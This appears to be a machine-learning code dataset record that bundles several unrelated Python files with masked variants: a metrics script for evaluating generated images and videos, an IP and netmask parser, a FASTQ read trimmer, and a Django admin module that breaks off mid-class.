calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],\n cur_real_frame))\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(\n real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(\n cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,\n fid_real_std, cur_fid_means, cur_fid_std))\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default=\n 'results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default=\n 'results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default=\n 'results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default=\n 'results/generated/256/noise', help=\n 'Path to generated videos (separate folder with frames for each video)'\n )\n aparser.add_argument('--animated-images', type=str, default=\n 'results/encode_and_animate_results/test_images/02_eoif', help=\n 'Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default=\n 'results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help=\n 'Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help=\n 'How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help=\n 'Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str, default=os.path.join(\n constants.RESULT_DIR,\n 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=\n 'Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=\n 'Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n main(aparser.parse_args())\n", "step-5": "#!/usr/bin/env python3\nimport collections\nimport glob\nimport os\n\nimport pandas as pd\nimport numpy as np\nimport torch.nn.functional as F\nimport PIL.Image as Image\n\nfrom inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params\nfrom inference.metrics.fid.fid_score import _compute_statistics_of_images, \\\n calculate_frechet_distance\nfrom inference.metrics.fid.inception import InceptionV3\nfrom inference.metrics.lpips import LPIPSLossWrapper\nfrom inference.perspective import load_video_frames_from_folder, FlowPredictor\nfrom inference.segmentation import SegmentationModule\nfrom inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts\nfrom inference.metrics.ssim import SSIM\nimport constants\n\n\nMOVABLE_CLASSES = [2, 21]\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean())\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean())\n\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu().numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.segm_network)).cuda()\n segmentation_network.eval()\n\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n\n all_metrics = []\n all_metrics_idx = []\n\n # load generated images\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n\n # load gt-images, scale, crop and segment\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False)\n\n crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:])\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n\n # compute FID between generated images and gt\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(gen_frames_as_img, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std))\n\n # load generated videos\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n\n # get mask from the first frame\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n \n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(cur_segm_proba.shape[1])\n if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0)\n\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n\n # load real images, from which the videos were generated, scale, crop and segment\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n\n # check the interval of stored numbers: 0..1 || -1..1 || 0..255\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max() - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False)\n\n crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:])\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n\n cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = (frame_batch, cur_segm_proba)\n\n # load videos -- animated real images\n animated_frames_by_i = collections.defaultdict(list)\n\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys())\n\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(cur_real_segm_proba.shape[1])\n if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0)\n\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame))\n\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n\n sum_dicts(cur_metrics, flow_metrics)\n\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(real_frames_as_img, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(cur_gen_frames, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std,\n cur_fid_means, cur_fid_std))\n\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default='results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default='results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default='results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default='results/generated/256/noise', \n help='Path to generated videos (separate folder with frames for each video)')\n aparser.add_argument('--animated-images', type=str,\n default='results/encode_and_animate_results/test_images/02_eoif', \n help='Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default='results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str,\n default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help='Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help='How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help='Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str,\n default=os.path.join(constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'),\n help='Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str,\n default=os.path.join(constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'),\n help='Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str,\n default=os.path.join(constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n\n main(aparser.parse_args())\n\n", "step-ids": [ 0, 4, 5, 6, 7 ] }
[ 0, 4, 5, 6, 7 ]
def check_ip_or_mask(temp_str): IPv4_regex = (r'(?:[0-9]{1,3}\.){3}[0-9]{1,3}') temp_list_ip_mask = re.findall(IPv4_regex, temp_str) binary_temp_list_ip_mask = [] temp_binary_ip_mask = '' for x in range(len(temp_list_ip_mask)): split_ip_address = re.split(r'\.', temp_list_ip_mask[x]) for y in range(len(split_ip_address)): temp_binary_ip_mask += str(bin(int(split_ip_address[y]))[2:].zfill(8)) binary_temp_list_ip_mask.append(temp_binary_ip_mask) temp_binary_ip_mask = '' ip_index_list = [] mask_index_list = [] for x in range(2): if not re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]): ip_index_list.append(x) if re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]): mask_index_list.append(x) if len(ip_index_list) == 1 and len(mask_index_list) == 1: ipv4 = temp_list_ip_mask[int(ip_index_list[0])] net_mask = temp_list_ip_mask[int(mask_index_list[0])] else: if (binary_temp_list_ip_mask[0].count('1')) < (binary_temp_list_ip_mask[0].count('1')): ipv4 = temp_list_ip_mask[0] net_mask = temp_list_ip_mask[1] else: ipv4 = temp_list_ip_mask[1] net_mask = temp_list_ip_mask[0] return "IPv4: " + ipv4 + "\n" + "Net mask: " + net_mask
normal
{ "blob_id": "fe597ad4462b1af3f3f99346c759c5fa8a7c14f4", "index": 741, "step-1": "<mask token>\n", "step-2": "def check_ip_or_mask(temp_str):\n IPv4_regex = '(?:[0-9]{1,3}\\\\.){3}[0-9]{1,3}'\n temp_list_ip_mask = re.findall(IPv4_regex, temp_str)\n binary_temp_list_ip_mask = []\n temp_binary_ip_mask = ''\n for x in range(len(temp_list_ip_mask)):\n split_ip_address = re.split('\\\\.', temp_list_ip_mask[x])\n for y in range(len(split_ip_address)):\n temp_binary_ip_mask += str(bin(int(split_ip_address[y]))[2:].\n zfill(8))\n binary_temp_list_ip_mask.append(temp_binary_ip_mask)\n temp_binary_ip_mask = ''\n ip_index_list = []\n mask_index_list = []\n for x in range(2):\n if not re.match('^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n ip_index_list.append(x)\n if re.match('^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n mask_index_list.append(x)\n if len(ip_index_list) == 1 and len(mask_index_list) == 1:\n ipv4 = temp_list_ip_mask[int(ip_index_list[0])]\n net_mask = temp_list_ip_mask[int(mask_index_list[0])]\n elif binary_temp_list_ip_mask[0].count('1') < binary_temp_list_ip_mask[0\n ].count('1'):\n ipv4 = temp_list_ip_mask[0]\n net_mask = temp_list_ip_mask[1]\n else:\n ipv4 = temp_list_ip_mask[1]\n net_mask = temp_list_ip_mask[0]\n return 'IPv4: ' + ipv4 + '\\n' + 'Net mask: ' + net_mask\n", "step-3": "def check_ip_or_mask(temp_str):\n IPv4_regex = (r'(?:[0-9]{1,3}\\.){3}[0-9]{1,3}')\n temp_list_ip_mask = re.findall(IPv4_regex, temp_str)\n binary_temp_list_ip_mask = []\n temp_binary_ip_mask = ''\n for x in range(len(temp_list_ip_mask)):\n split_ip_address = re.split(r'\\.', temp_list_ip_mask[x])\n for y in range(len(split_ip_address)):\n temp_binary_ip_mask += str(bin(int(split_ip_address[y]))[2:].zfill(8))\n binary_temp_list_ip_mask.append(temp_binary_ip_mask)\n temp_binary_ip_mask = ''\n ip_index_list = []\n mask_index_list = []\n for x in range(2):\n if not re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n ip_index_list.append(x)\n if re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n mask_index_list.append(x)\n if len(ip_index_list) == 1 and len(mask_index_list) == 1:\n ipv4 = temp_list_ip_mask[int(ip_index_list[0])]\n net_mask = temp_list_ip_mask[int(mask_index_list[0])]\n else:\n if (binary_temp_list_ip_mask[0].count('1')) < (binary_temp_list_ip_mask[0].count('1')):\n ipv4 = temp_list_ip_mask[0]\n net_mask = temp_list_ip_mask[1]\n else:\n ipv4 = temp_list_ip_mask[1]\n net_mask = temp_list_ip_mask[0]\n\n return \"IPv4: \" + ipv4 + \"\\n\" + \"Net mask: \" + net_mask\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for s in sys.argv[3:]: file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w') r_list = [] size = 0 for r in SeqIO.parse(s, 'fastq'): r_list.append(r[start:end]) size += 1 if size == RECORD_BUFFER_SIZE: SeqIO.write(r_list, file, 'fastq') r_list = [] size = 0 if size > 0: SeqIO.write(r_list, file, 'fastq') file.close() <|reserved_special_token_1|> <|reserved_special_token_0|> RECORD_BUFFER_SIZE = 100000 start = int(sys.argv[1]) - 1 end = int(sys.argv[2]) for s in sys.argv[3:]: file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w') r_list = [] size = 0 for r in SeqIO.parse(s, 'fastq'): r_list.append(r[start:end]) size += 1 if size == RECORD_BUFFER_SIZE: SeqIO.write(r_list, file, 'fastq') r_list = [] size = 0 if size > 0: SeqIO.write(r_list, file, 'fastq') file.close() <|reserved_special_token_1|> from Bio import SeqIO import sys RECORD_BUFFER_SIZE = 100000 start = int(sys.argv[1]) - 1 end = int(sys.argv[2]) for s in sys.argv[3:]: file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w') r_list = [] size = 0 for r in SeqIO.parse(s, 'fastq'): r_list.append(r[start:end]) size += 1 if size == RECORD_BUFFER_SIZE: SeqIO.write(r_list, file, 'fastq') r_list = [] size = 0 if size > 0: SeqIO.write(r_list, file, 'fastq') file.close() <|reserved_special_token_1|> # Author: Kenneth Lui <[email protected]> # Last Updated on: 01-11-2012 ## Usage: python ~/code/python/001_Fastq_Trimming.py <FIRST BASE> <LAST BASE> <FASTQ FILES....> ## Bases are inclusive and 1-based #from Bio.SeqIO.QualityIO import FastqGeneralIterator #handle = open(sys.argv[2], 'w') #for title, seq, qual in FastqGeneralIterator(open(sys.argv[1])): # handle.write("@%s\n%s\n+\n%\n" % (title, seq[...:...], qual[...:...])) #handle.close() from Bio import SeqIO import sys RECORD_BUFFER_SIZE = 100000 start = int(sys.argv[1]) - 1 end = int(sys.argv[2]) for s in sys.argv[3:]: file = open(s + "." + sys.argv[1] + "-" + sys.argv[2] + ".trimmed", 'w') r_list = [] size = 0 for r in SeqIO.parse(s, "fastq"): r_list.append(r[start:end]) size += 1 if size == RECORD_BUFFER_SIZE: SeqIO.write(r_list, file, "fastq") r_list = [] size = 0 if size > 0: SeqIO.write(r_list, file, "fastq") file.close()
flexible
{ "blob_id": "4a8663531f303da29371078e34dc7224fc4580e3", "index": 6283, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor s in sys.argv[3:]:\n file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')\n r_list = []\n size = 0\n for r in SeqIO.parse(s, 'fastq'):\n r_list.append(r[start:end])\n size += 1\n if size == RECORD_BUFFER_SIZE:\n SeqIO.write(r_list, file, 'fastq')\n r_list = []\n size = 0\n if size > 0:\n SeqIO.write(r_list, file, 'fastq')\n file.close()\n", "step-3": "<mask token>\nRECORD_BUFFER_SIZE = 100000\nstart = int(sys.argv[1]) - 1\nend = int(sys.argv[2])\nfor s in sys.argv[3:]:\n file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')\n r_list = []\n size = 0\n for r in SeqIO.parse(s, 'fastq'):\n r_list.append(r[start:end])\n size += 1\n if size == RECORD_BUFFER_SIZE:\n SeqIO.write(r_list, file, 'fastq')\n r_list = []\n size = 0\n if size > 0:\n SeqIO.write(r_list, file, 'fastq')\n file.close()\n", "step-4": "from Bio import SeqIO\nimport sys\nRECORD_BUFFER_SIZE = 100000\nstart = int(sys.argv[1]) - 1\nend = int(sys.argv[2])\nfor s in sys.argv[3:]:\n file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')\n r_list = []\n size = 0\n for r in SeqIO.parse(s, 'fastq'):\n r_list.append(r[start:end])\n size += 1\n if size == RECORD_BUFFER_SIZE:\n SeqIO.write(r_list, file, 'fastq')\n r_list = []\n size = 0\n if size > 0:\n SeqIO.write(r_list, file, 'fastq')\n file.close()\n", "step-5": "# Author: Kenneth Lui <[email protected]>\n# Last Updated on: 01-11-2012\n## Usage: python ~/code/python/001_Fastq_Trimming.py <FIRST BASE> <LAST BASE> <FASTQ FILES....>\n## Bases are inclusive and 1-based\n\n#from Bio.SeqIO.QualityIO import FastqGeneralIterator\n#handle = open(sys.argv[2], 'w')\n#for title, seq, qual in FastqGeneralIterator(open(sys.argv[1])):\n# handle.write(\"@%s\\n%s\\n+\\n%\\n\" % (title, seq[...:...], qual[...:...]))\n#handle.close()\n\nfrom Bio import SeqIO\nimport sys\n\nRECORD_BUFFER_SIZE = 100000\n\nstart = int(sys.argv[1]) - 1\nend = int(sys.argv[2])\n\nfor s in sys.argv[3:]:\n\tfile = open(s + \".\" + sys.argv[1] + \"-\" + sys.argv[2] + \".trimmed\", 'w')\n\tr_list = []\n\tsize = 0\n\tfor r in SeqIO.parse(s, \"fastq\"):\n\t\tr_list.append(r[start:end])\n\t\tsize += 1\n\t\tif size == RECORD_BUFFER_SIZE: \n\t\t\tSeqIO.write(r_list, file, \"fastq\")\n\t\t\tr_list = []\n\t\t\tsize = 0\n\tif size > 0: \n\t\tSeqIO.write(r_list, file, \"fastq\")\n\tfile.close()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class WebsitePreferencesInstanceInline(admin.TabularInline): model = WebsitePreferences class SiteAdmin(admin.ModelAdmin): list_filter = 'domain', 'name' inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class WebsiteDataAdmin(admin.ModelAdmin): def get_urls(self): urls = super(WebsiteDataAdmin, self).get_urls() my_urls = [url('^create-defaults/$', self.admin_site.admin_view( self.create_defaults))] return my_urls + urls <|reserved_special_token_0|> def create_defaults(self, request): """Function to create default keys and themes""" ThemeKeys_obj = ThemeKeys() ThemeKeys_obj.create_default_keys() WebsitePreferenceKeys_obj = WebsitePreferenceKeys() WebsitePreferenceKeys_obj.create_default_keys() context = {'title': 'Creazione chiavi e temi di default', 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/'} messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.') return render(request, 'admin/custom_view/create_defaults.html', context) def get_model_perms(self, request): """ https://stackoverflow.com/questions/2431727/django-admin-hide-a-model Return empty perms dict thus hiding the model from admin index. Per far funzionare le custom view dell'app website_data ma nascondendo tutti i modelli, in questo modo gli url funzionano ma nell'admin non si vede nessun modello da modificare/aggiungere. """ return {} class CustomSiteInstanceInline(admin.StackedInline): model = CustomSites class WebsitePreferencesInstanceInline(admin.TabularInline): model = WebsitePreferences class SiteAdmin(admin.ModelAdmin): list_filter = 'domain', 'name' inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class WebsiteDataAdmin(admin.ModelAdmin): def get_urls(self): urls = super(WebsiteDataAdmin, self).get_urls() my_urls = [url('^create-defaults/$', self.admin_site.admin_view( self.create_defaults))] return my_urls + urls """ def edit_site(self, request, site_id): ""Function to select a site to edit"" WebsiteData_obj = WebsiteData() Site_obj = Site.objects.get(pk=site_id) if request.method == 'POST': form = EditTextSiteForm(request.POST) if form.is_valid(): # TODO: salvo i valori delle relative chiavi WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST) # pagina di successo con i dati aggiornati precompilati messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.') return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST else: form = EditTextSiteForm() # An unbound form # precompilo la post con eventuali valori presenti request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain) # logger.info("chiavi salvate in db per il sito " + str(site_id) + ": " + str(request.POST)) context = { 'form' : form, 'post': request.POST, 'title': "Modifica informazioni sito: " + str(Site_obj.domain), 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/', } return render(request, 'admin/custom_view/edit_site.html', context) """ def create_defaults(self, request): """Function to create default keys and themes""" ThemeKeys_obj = ThemeKeys() ThemeKeys_obj.create_default_keys() WebsitePreferenceKeys_obj = WebsitePreferenceKeys() WebsitePreferenceKeys_obj.create_default_keys() context = {'title': 'Creazione chiavi e temi di default', 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/'} messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.') return render(request, 'admin/custom_view/create_defaults.html', context) def get_model_perms(self, request): """ https://stackoverflow.com/questions/2431727/django-admin-hide-a-model Return empty perms dict thus hiding the model from admin index. Per far funzionare le custom view dell'app website_data ma nascondendo tutti i modelli, in questo modo gli url funzionano ma nell'admin non si vede nessun modello da modificare/aggiungere. """ return {} class CustomSiteInstanceInline(admin.StackedInline): model = CustomSites class WebsitePreferencesInstanceInline(admin.TabularInline): model = WebsitePreferences class SiteAdmin(admin.ModelAdmin): list_filter = 'domain', 'name' inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline] <|reserved_special_token_0|> admin.site.unregister(Site) admin.site.register(Site, SiteAdmin) admin.site.register(WebsiteData, WebsiteDataAdmin) <|reserved_special_token_1|> from django.contrib import admin, messages from django.conf.urls import url from django.shortcuts import render from django.contrib.sites.models import Site from django.http import HttpResponseRedirect, HttpResponse from website_data.models import * from website_data.forms import * import logging logger = logging.getLogger(__name__) class WebsiteDataAdmin(admin.ModelAdmin): def get_urls(self): urls = super(WebsiteDataAdmin, self).get_urls() my_urls = [url('^create-defaults/$', self.admin_site.admin_view( self.create_defaults))] return my_urls + urls """ def edit_site(self, request, site_id): ""Function to select a site to edit"" WebsiteData_obj = WebsiteData() Site_obj = Site.objects.get(pk=site_id) if request.method == 'POST': form = EditTextSiteForm(request.POST) if form.is_valid(): # TODO: salvo i valori delle relative chiavi WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST) # pagina di successo con i dati aggiornati precompilati messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.') return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST else: form = EditTextSiteForm() # An unbound form # precompilo la post con eventuali valori presenti request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain) # logger.info("chiavi salvate in db per il sito " + str(site_id) + ": " + str(request.POST)) context = { 'form' : form, 'post': request.POST, 'title': "Modifica informazioni sito: " + str(Site_obj.domain), 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/', } return render(request, 'admin/custom_view/edit_site.html', context) """ def create_defaults(self, request): """Function to create default keys and themes""" ThemeKeys_obj = ThemeKeys() ThemeKeys_obj.create_default_keys() WebsitePreferenceKeys_obj = WebsitePreferenceKeys() WebsitePreferenceKeys_obj.create_default_keys() context = {'title': 'Creazione chiavi e temi di default', 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/'} messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.') return render(request, 'admin/custom_view/create_defaults.html', context) def get_model_perms(self, request): """ https://stackoverflow.com/questions/2431727/django-admin-hide-a-model Return empty perms dict thus hiding the model from admin index. Per far funzionare le custom view dell'app website_data ma nascondendo tutti i modelli, in questo modo gli url funzionano ma nell'admin non si vede nessun modello da modificare/aggiungere. """ return {} class CustomSiteInstanceInline(admin.StackedInline): 